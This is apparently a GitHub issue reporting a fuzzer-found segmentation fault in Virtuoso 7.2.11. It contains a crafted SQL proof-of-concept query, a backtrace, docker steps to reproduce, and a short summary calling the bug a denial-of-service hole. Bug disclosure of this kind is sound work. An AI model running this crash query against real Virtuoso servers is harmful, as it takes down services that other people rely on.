The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE x ( x FLOAT UNIQUE CHECK ( ( CASE WHEN 1.000000 = 1 THEN 1 ELSE ( 1.000000 , 1.000000 ) / 1 / 1 END ) AND ( SELECT CASE WHEN x < x AND x IS NULL THEN 1 ELSE ( SELECT x FROM x WHERE ( CASE WHEN x = x AND x = x AND x THEN 1.000000 ELSE x + x * 1 + 1 END ) IN ( SELECT DISTINCT 1 FROM x GROUP BY NULL , 'x' , 'x' , 'x' ) ORDER BY x / 1 DESC ) - CASE WHEN ( 1 ) AND x NOT IN ( SELECT DISTINCT x / 1 , 1 FROM x GROUP BY CASE WHEN x = 1 THEN 'x' ELSE x - x * 1.000000 + 1 END ) THEN x + 1 WHEN 1 THEN 1 ELSE 1.000000 END / 1 + 1 END ) < x + x + x ) PRIMARY KEY ) ;
```

backtrace:
```c
#0 0x792e96 (sqlc_add_distinct_node+0xe6)
#1 0x747a3d (sqlg_handle_select_list+0x88d)
#2 0x7470e5 (sqlg_select_node+0x1f5)
#3 0x749c99 (sqlg_dt_query_1+0x1779)
#4 0x738ee6 (sqlg_dt_subquery+0x96)
#5 0x71e57c (cmp_subq_call+0x8c)
#6 0x71bd94 (pred_gen_1+0x3e4)
#7 0x71b035 (sqlc_searched_case+0x3d5)
#8 0x716ada (scalar_exp_generate+0x9fa)
#9 0x749a8a (sqlg_dt_query_1+0x156a)
#10 0x74a9e7 (sqlg_top_1+0x107)
#11 0x70ffb4 (sqlo_top_select+0x164)
#12 0x6b9b6f (sql_stmt_comp+0x8bf)
#13 0x6be876 (sqlc_subquery_1+0x456)
#14 0xd5922c (sqlc_mark_pred_deps+0x26c)
#15 0xd5922c (sqlc_mark_pred_deps+0x26c)
#16 0x7a7108 (sqlc_if_stmt+0xa8)
#17 0x7a5a46 (sqlc_proc_stmt+0x1a6)
#18 0x7a6ca2 (sqlc_compound_stmt+0x292)
#19 0x7a5922 (sqlc_proc_stmt+0x82)
#20 0x7aadc2 (sqlc_trigger_decl+0x2b2)
#21 0x6b960e (sql_stmt_comp+0x35e)
#22 0x6bc9d2 (sql_compile_1+0x1a62)
#23 0x4e29aa (ddl_table_check_constraints_define_triggers+0xa1a)
#24 0x4e462d (ddl_table_constraints+0xd0d)
#25 0x4e5331 (sql_ddl_node_input_1+0xbc1)
#26 0x4e57ee (sql_ddl_node_input+0x10e)
#27 0x7bcb0b (ddl_node_input_1+0x19b)
#28 0x7bd1e7 (qn_without_ac_at+0xc7)
#29 0x7af05e (qn_input+0x3ce)
#30 0x7c1be9 (qr_dml_array_exec+0x839)
#31 0x7ce602 (sf_sql_execute+0x15d2)
#32 0x7cecde (sf_sql_execute_w+0x17e)
#33 0x7d799d (sf_sql_execute_wrapper+0x3d)
#34 0xe214bc (future_wrapper+0x3fc)
#35 0xe28dbe (_thread_boot+0x11e)
#36 0x7f4cd491f609 (start_thread+0xd9)
#37 0x7f4cd46ef133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.11 crashed at `sqlc_add_distinct_node`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.11 crashed at `sqlc_add_distinct_node`
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE x ( x FLOAT UNIQUE CHECK ( ( CASE WHEN 1.000000 = 1 THEN 1 ELSE ( 1.000000 , 1.000000 ) / 1 / 1 END ) AND ( SELECT CASE WHEN x < x AND x IS NULL THEN 1 ELSE ( SELECT x FROM x WHERE ( CASE WHEN x = x AND x = x AND x THEN 1.000000 ELSE x + x * 1 + 1 END ) IN ( SELECT DISTINCT 1 FROM x GROUP BY NULL , 'x' , 'x' , 'x' ) ORDER BY x / 1 DESC ) - CASE WHEN ( 1 ) AND x NOT IN ( SELECT DISTINCT x / 1 , 1 FROM x GROUP BY CASE WHEN x = 1 THEN 'x' ELSE x - x * 1.000000 + 1 END ) THEN x + 1 WHEN 1 THEN 1 ELSE 1.000000 END / 1 + 1 END ) < x + x + x ) PRIMARY KEY ) ;
```

backtrace:
```c
#0 0x792e96 (sqlc_add_distinct_node+0xe6)
#1 0x747a3d (sqlg_handle_select_list+0x88d)
#2 0x7470e5 (sqlg_select_node+0x1f5)
#3 0x749c99 (sqlg_dt_query_1+0x1779)
#4 0x738ee6 (sqlg_dt_subquery+0x96)
#5 0x71e57c (cmp_subq_call+0x8c)
#6 0x71bd94 (pred_gen_1+0x3e4)
#7 0x71b035 (sqlc_searched_case+0x3d5)
#8 0x716ada (scalar_exp_generate+0x9fa)
#9 0x749a8a (sqlg_dt_query_1+0x156a)
#10 0x74a9e7 (sqlg_top_1+0x107)
#11 0x70ffb4 (sqlo_top_select+0x164)
#12 0x6b9b6f (sql_stmt_comp+0x8bf)
#13 0x6be876 (sqlc_subquery_1+0x456)
#14 0xd5922c (sqlc_mark_pred_deps+0x26c)
#15 0xd5922c (sqlc_mark_pred_deps+0x26c)
#16 0x7a7108 (sqlc_if_stmt+0xa8)
#17 0x7a5a46 (sqlc_proc_stmt+0x1a6)
#18 0x7a6ca2 (sqlc_compound_stmt+0x292)
#19 0x7a5922 (sqlc_proc_stmt+0x82)
#20 0x7aadc2 (sqlc_trigger_decl+0x2b2)
#21 0x6b960e (sql_stmt_comp+0x35e)
#22 0x6bc9d2 (sql_compile_1+0x1a62)
#23 0x4e29aa (ddl_table_check_constraints_define_triggers+0xa1a)
#24 0x4e462d (ddl_table_constraints+0xd0d)
#25 0x4e5331 (sql_ddl_node_input_1+0xbc1)
#26 0x4e57ee (sql_ddl_node_input+0x10e)
#27 0x7bcb0b (ddl_node_input_1+0x19b)
#28 0x7bd1e7 (qn_without_ac_at+0xc7)
#29 0x7af05e (qn_input+0x3ce)
#30 0x7c1be9 (qr_dml_array_exec+0x839)
#31 0x7ce602 (sf_sql_execute+0x15d2)
#32 0x7cecde (sf_sql_execute_w+0x17e)
#33 0x7d799d (sf_sql_execute_wrapper+0x3d)
#34 0xe214bc (future_wrapper+0x3fc)
#35 0xe28dbe (_thread_boot+0x11e)
#36 0x7f4cd491f609 (start_thread+0xd9)
#37 0x7f4cd46ef133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---

A segmentation fault in the `sqlc_add_distinct_node` function of Virtuoso 7.2.11 allows attackers to cause a Denial of Service (DoS) via a specially crafted SQL query. The issue arises from the handling of complex SQL statements that lead to a crash instead of returning an error message, indicating a lack of proper input validation and error handling in the SQL parser.